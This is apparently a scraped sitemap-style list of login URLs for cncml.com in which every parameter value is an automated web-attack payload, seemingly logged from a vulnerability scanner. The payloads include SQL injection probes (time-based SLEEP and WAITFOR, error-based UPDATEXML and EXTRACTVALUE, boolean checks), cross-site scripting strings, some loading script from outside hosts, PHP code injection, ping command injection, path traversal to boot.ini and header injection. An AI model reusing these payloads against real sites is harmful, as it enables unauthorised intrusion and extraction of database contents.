http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&loginhash=LchhH%25'%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20'%25'=' 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&loginhash=LchhH%25'%20RLIKE%20(SELECT%20(CASE%20WHEN%20(76=76)%20THEN%20'LchhH'%20ELSE%200x28%20END))%20AND%20'%25'=' 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&loginhash=LchhH%25'%20RLIKE%20(SELECT%20(CASE%20WHEN%20(78=35)%20THEN%20'LchhH'%20ELSE%200x28%20END))%20AND%20'%25'=' 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&loginhash=LchhH%25';%20WAITFOR%20DELAY%20'0:0:5'-- 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&loginhash=LchhH%2527 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&loginhash=LchhH%2527%20AND%2035=35%20%23 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&loginhash=LchhH%2527%20AND%2041=61%20%23 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&loginhash=LchhH%2B%2Fv9+%2BADw-script%2BAD4-alert%281%29%2BADw-%2Fscript%2BAD4- 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&loginhash=LchhH%3CBASE%20HREF=%22javascript:alert(42873);//%22%3E 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&loginhash=LchhH%3CEMBED%20SRC=javascript:alert(42873)%3E%3C/EMBED%3E 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&loginhash=LchhH%3Ca%20href%3D%26%23106%26%2397%26%23118%26%2397%26%23115%26%2399%26%23114%26%23105%26%23112%26%23116%26%2358%26%2397%26%23108%26%23101%26%23114%26%23116%26%2340%26%2349%26%2350%26%2351%26%2352%26%2353%26%2341%3ETEST%3C/a%3E 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&loginhash=LchhH%3Cbody%20ONLOAD=alert(42873)%3E 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&loginhash=LchhH%3Cdiv%20style=width:expression(alert(42873))%3E 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&loginhash=LchhH%3Ciframe%20SRC=javascript:alert(42873)%3E 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&loginhash=LchhH%3Ciframe%20src=http://xxooxxoo.js%3E 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&loginhash=LchhH%3Cimg%20src=1%20onerror=alert(42873)%3E 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&loginhash=LchhH%3Cobject%20data=data:text/html;base64,PHNjcmlwdD5hbGVydCg0Mjg3Myk8L3NjcmlwdD4=%3E 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&loginhash=LchhH%3Cscript%20src=http://xxooxxoo.js%3E%3C/script%3E 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&loginhash=LchhH%3Cscript%3Ealert(42873)%3C/script%3E 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&loginhash=LchhH%5B%5D 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&loginhash=LchhH%5C%22 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&loginhash=LchhH%5C' 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&loginhash=LchhH%a8%a4%00xa7%a8%a4%a1%e9 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&loginhash=LchhH%bf%27 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&loginhash=LchhH' 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&loginhash=LchhH'%20AND%20'Y7'='7w 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&loginhash=LchhH'%20AND%20'jE'='jE 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&loginhash=LchhH'%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL)%20AND%20'NASDAQ'='NASDAQ 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&loginhash=LchhH'%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20AND%20'Ta'='Ta 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&loginhash=LchhH'%20AND%201997=DBMS_PIPE.RECEIVE_MESSAGE(CHR(115)%7C%7CCHR(99)%7C%7CCHR(97)%7C%7CCHR(100),5)%20AND%20'TnT'='TnT 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&loginhash=LchhH'%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%23 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&loginhash=LchhH'%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%2523 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&loginhash=LchhH'%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20-- 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&loginhash=LchhH'%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%23 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&loginhash=LchhH'%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%2523 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&loginhash=LchhH'%20AND%20SLEEP(5)%20%23 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&loginhash=LchhH'%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20'1'='1 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&loginhash=LchhH'%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT(1,(SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20'1'='1 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&loginhash=LchhH'%20OR%20'hn'='hn'%20LIMIT%20100%20-- 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&loginhash=LchhH'%20RLIKE%20(SELECT%20(CASE%20WHEN%20(91=54)%20THEN%20'LchhH'%20ELSE%200x28%20END))%20AND%20'ua'='ua 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&loginhash=LchhH'%20RLIKE%20(SELECT%20(CASE%20WHEN%20(96=96)%20THEN%20'LchhH'%20ELSE%200x28%20END))%20AND%20'GQ'='GQ 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&loginhash=LchhH'%20WAITFOR%20DELAY%20'0:0:5'-- 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&loginhash=LchhH'%22 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&loginhash=LchhH'%22%5C'%5C%22%2527%3d%bf%27%B0 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&loginhash=LchhH'%5B.%5D(,.)(%22 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&loginhash=LchhH')%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL)%20AND%20('NASDAQ'='NASDAQ 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&loginhash=LchhH')%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20AND%20('Ta'='Ta 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&loginhash=LchhH')%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%23 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&loginhash=LchhH')%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%2523 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&loginhash=LchhH')%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20-- 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&loginhash=LchhH')%20AND%2037=37%20AND%20('aT'='aT 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&loginhash=LchhH')%20AND%2068=37%20AND%20('gZ'='gZ 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&loginhash=LchhH')%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%23 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&loginhash=LchhH')%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%2523 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&loginhash=LchhH')%20AND%20SLEEP(5)%20%23 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&loginhash=LchhH')%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20%23 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&loginhash=LchhH')%20RLIKE%20(SELECT%20(CASE%20WHEN%20(21=42)%20THEN%20'LchhH'%20ELSE%200x28%20END))%20AND%20('wl'='wl 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&loginhash=LchhH')%20RLIKE%20(SELECT%20(CASE%20WHEN%20(48=48)%20THEN%20'LchhH'%20ELSE%200x28%20END))%20AND%20('oN'='oN 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&loginhash=LchhH')%20WAITFOR%20DELAY%20'0:0:5'%20-- 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&loginhash=LchhH'))%20WAITFOR%20DELAY%20'0:0:5'%20-- 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&loginhash=LchhH'),(SELECT%20if(COUNT(*)!=-1,SLEEP(5),SLEEP(5)))%23 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&loginhash=LchhH',(SELECT%20if(COUNT(*)!=-1,SLEEP(5),SLEEP(5)))%23 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&loginhash=LchhH';%20IF(18=41)%20SELECT%201%20ELSE%20DROP%20FUNCTION%20EEye_WebSec%20-- 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&loginhash=LchhH';%20IF(46=46)%20SELECT%201%20ELSE%20DROP%20FUNCTION%20EEye_WebSec%20-- 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&loginhash=LchhH';%20WAITFOR%20DELAY%20'0:0:5'-- 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&loginhash=LchhH) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&loginhash=LchhH)%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL)%20AND%20(2014=2014 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&loginhash=LchhH)%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20AND%20(2014=2014 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&loginhash=LchhH)%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%23 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&loginhash=LchhH)%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%2523 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&loginhash=LchhH)%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20-- 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&loginhash=LchhH)%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%23 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&loginhash=LchhH)%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%2523 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&loginhash=LchhH)%20AND%20SLEEP(5)%20%23 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&loginhash=LchhH)%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20%23 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&loginhash=LchhH)%20WAITFOR%20DELAY%20'0:0:5'%20-- 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&loginhash=LchhH),(SELECT%20if(COUNT(*)!=-1,SLEEP(5),SLEEP(5)))%23 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&loginhash=LchhH);%20IF(16=16)%20SELECT%201%20ELSE%20DROP%20FUNCTION%20EEye_WebSec%20-- 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&loginhash=LchhH);%20IF(99=88)%20SELECT%201%20ELSE%20DROP%20FUNCTION%20EEye_WebSec%20-- 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&loginhash=LchhH,(SELECT%20if(COUNT(*)!=-1,SLEEP(5),SLEEP(5)))%23 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&loginhash=LchhH6633x3X6 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&loginhash=LchhHAND%201997=DBMS_PIPE.RECEIVE_MESSAGE(CHR(115)%7C%7CCHR(99)%7C%7CCHR(97)%7C%7CCHR(100),5) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&loginhash=LchhHJyI%3D 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&loginhash=LchhHalert(42873) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&loginhash=LchhHe360 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&loginhash=LeXeG 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&loginhash=data:text/plain,%3C%3Fphp%20print%28md5%281122%29%29%3B%3F%3E 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&loginhash=die(md5($_get%5Bwebscan%5D));&webscan=1122 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&loginhash=dir 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&loginhash=file:///c:/boot.ini 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&loginhash=http://hitBAo6EKQnyr.bxss.me/ 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&loginhash=http://hitd0rQGQge8t.bxss.me/ 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&loginhash=http://oxoxoxoxoxoxox.com 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&loginhash=http://some-inexistent-website.com/some_inexistent_file_with_long_name 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&loginhash=http://testasp.vulnweb.com/t/fit.txt 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&loginhash=oxoxoxoxoxoxox.com 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&loginhash=phpinfo 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&loginhash=response.write(9412458*9542755) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&loginhash=set%7Cset&set 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&lssubmit=yes&infloat=$%7B@print(md5(1122))%7D 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&lssubmit=yes&infloat=%0a%20SomeCustomInjectedHeader%3Ainjected_by_test 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&lssubmit=yes&infloat=%0d%0a%20SomeCustomInjectedHeader%3Ainjected_by_test 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&lssubmit=yes&infloat=%0d%0a%20SomeCustomInjectedHeader:injected_by_test 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&lssubmit=yes&infloat=%2B%2Fv9+%2BADw-script%2BAD4-alert%281%29%2BADw-%2Fscript%2BAD4- 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&lssubmit=yes&infloat=%3C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5Cboot.ini 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&lssubmit=yes&infloat=%3C?exit(md5(1122));?%3E 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&lssubmit=yes&infloat=%3C?php%20print(md5(1122));exit;?%3E 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&lssubmit=yes&infloat=%3Cdir 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&lssubmit=yes&infloat=%60ping%20-c%205%20127.0.0.1%60 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&lssubmit=yes&infloat=%7C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5Cboot.ini 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&lssubmit=yes&infloat=%7Cping%20-n%205%20127.0.0.1%7C 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&lssubmit=yes&infloat=%7Cping+-c+4+127.0.0.1 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&lssubmit=yes&infloat=%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%afboot.ini 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&lssubmit=yes&infloat='%2bCONVERT(INT,CHAR(106)%2bCHAR(67)%2bCHAR(117)%2bCHAR(106)%2bCHAR(50)%2bCHAR(108)%2bCHAR(67)%2bCHAR(70)%2bCHAR(87)%2bCHAR(122)%2bCHAR(106))%2b' 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&lssubmit=yes&infloat='%5D;print(md5(1122));// 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&lssubmit=yes&infloat=');print(md5(1122));// 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&lssubmit=yes&infloat=';?%3E%3C?exit(md5(1122));?%3E 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&lssubmit=yes&infloat=(EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&lssubmit=yes&infloat=(SELECT%20(CASE%20WHEN%20(12=46)%20THEN%200x796573%20ELSE%2012*(SELECT%2012%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS)%20END)) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&lssubmit=yes&infloat=(SELECT%20(CASE%20WHEN%20(19=34)%20THEN%200x796573%20ELSE%2019*(SELECT%2019%20FROM%20mysql.db)%20END)) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&lssubmit=yes&infloat=(SELECT%20(CASE%20WHEN%20(23=23)%20THEN%200x796573%20ELSE%20CAST(1%20AS%20INT)/(SELECT%200%20FROM%20DUAL)%20END)%20FROM%20DUAL) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&lssubmit=yes&infloat=(SELECT%20(CASE%20WHEN%20(35=51)%20THEN%200x796573%20ELSE%20CAST(1%20AS%20INT)/(SELECT%200%20FROM%20DUAL)%20END)%20FROM%20DUAL) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&lssubmit=yes&infloat=(SELECT%20(CASE%20WHEN%20(42=39)%20THEN%200x796573%20ELSE%2042*(SELECT%2042%20FROM%20master..sysdatabases)%20END)) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&lssubmit=yes&infloat=(SELECT%20(CASE%20WHEN%20(55=55)%20THEN%200x796573%20ELSE%2055*(SELECT%2055%20FROM%20master..sysdatabases)%20END)) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&lssubmit=yes&infloat=(SELECT%20(CASE%20WHEN%20(65=18)%20THEN%200x796573%20ELSE%2065*(SELECT%2065%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS)%20END)) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&lssubmit=yes&infloat=(SELECT%20(CASE%20WHEN%20(73=73)%20THEN%200x796573%20ELSE%2073*(SELECT%2073%20FROM%20mysql.db)%20END)) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&lssubmit=yes&infloat=(SELECT%20(CASE%20WHEN%20(82=82)%20THEN%200x796573%20ELSE%2082*(SELECT%2082%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS)%20END)) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&lssubmit=yes&infloat=(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&lssubmit=yes&infloat=(SELECT%20CHAR(116)%2bCHAR(104)%2bCHAR(105)%2bCHAR(110)%2bCHAR(107)%2bCHAR(58)%2b(SELECT%20(CASE%20WHEN%20(1943=1943)%20THEN%20CHAR(105)%20ELSE%20CHAR(48)%20END))%2bCHAR(58)%2bCHAR(100)%2bCHAR(105)%2bCHAR(102)%2bCHAR(102)%2bCHAR(101)%2bCHAR(114)%2bCHAR(101)%2bCHAR(110)%2bCHAR(116)) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&lssubmit=yes&infloat=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&lssubmit=yes&infloat=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1)) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&lssubmit=yes&infloat=..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5Cboot.ini 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&lssubmit=yes&infloat=..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%afboot.ini 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&lssubmit=yes&infloat=................windowswin.ini 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&lssubmit=yes&infloat=../.../.././../.../.././../.../.././../.../.././../.../.././../.../.././boot.ini 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&lssubmit=yes&infloat=../../../../../../../../boot.ini 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&lssubmit=yes&infloat=../../../../../../../../boot.ini%00 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&lssubmit=yes&infloat=../../../../../../../../boot.ini%00.htm 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&lssubmit=yes&infloat=../../../../../../../../boot.ini%00.html 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&lssubmit=yes&infloat=../../../../../../../../boot.ini%00.jpg 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&lssubmit=yes&infloat=../../../../../../../../boot.ini%00.txt 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&lssubmit=yes&infloat=../..//../..//../..//../..//../..//../..//../..//../..//boot.ini 0.0001 